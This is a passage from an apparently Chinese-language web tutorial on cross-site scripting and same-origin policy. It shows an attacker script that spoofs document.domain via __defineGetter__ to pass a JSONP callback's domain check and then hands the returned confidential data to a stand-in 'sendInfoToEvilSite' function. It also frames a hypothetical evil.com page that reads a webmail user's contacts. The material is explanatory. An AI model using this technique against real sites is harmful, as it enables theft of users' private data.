WEB开发网
开发学院网络安全安全技术 跨站脚本攻击深入解析(上) 阅读

跨站脚本攻击深入解析(上)

 2009-02-25 13:54:15 来源:WEB开发网   
核心提示: function callbackFunction() {if ( document.domain == "safesite.com") {return "Confidential Information";}return "Unautho

function callbackFunction() {

if ( document.domain == "safesite.com") {

return "Confidential Information";

}

return "Unauthorized";

}

通过诱骗受害者访问(攻击者的)包含下列脚本的页面,攻击者就可以可以获得保密资料:

< script >

function callbackFunction() {return 0;}

document.__defineGetter__("domain", function() {return "safesite.com"});

setTimeout("sendInfoToEvilSite(callbackFunction())",1500);

< / script >

<script src="http://somesite.com/GetInformation?callback=callbackFunction">

< / script >

这段HTML代码利用__defineGetter__()对document.domain进行了设置,并且建立了一个针对http://somesite.com/GetInformation?callback=callbackFunction的跨域请求。最后,它会在1.5秒——对于浏览器建立到达somesite.com的请求来说,这个时间已经够宽裕了——之后调用sendInfoToEvilSite(callbackFunction())。因此,我们不应扩展document.domain来用作它用。

如果同源策略失守,后果如何?同源策略使得一个“邪恶的”Web 站点无法访问其它的Web 站点,然而,一旦同源策略被攻破,后果将会如何?攻击者将可以作哪些事情?下面让我们考察一个假想的例子。

假如一位攻击者在http://www.evil.com/index.html建立了一个页面,该页面可以阅读来自其它域的HTTP应答,例如来自一个webmail应用程序的应答等,并且攻击者可以诱骗webmail用户访问http://www.evil.com/index.html。那么,攻击者将能阅读受骗用户的通信录。 为此,攻击者可以在http://www.evil.com/index.html中放入

上一页  1 2 3 4 5 6 7 8 9  下一页

Tags:脚本 攻击 深入

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接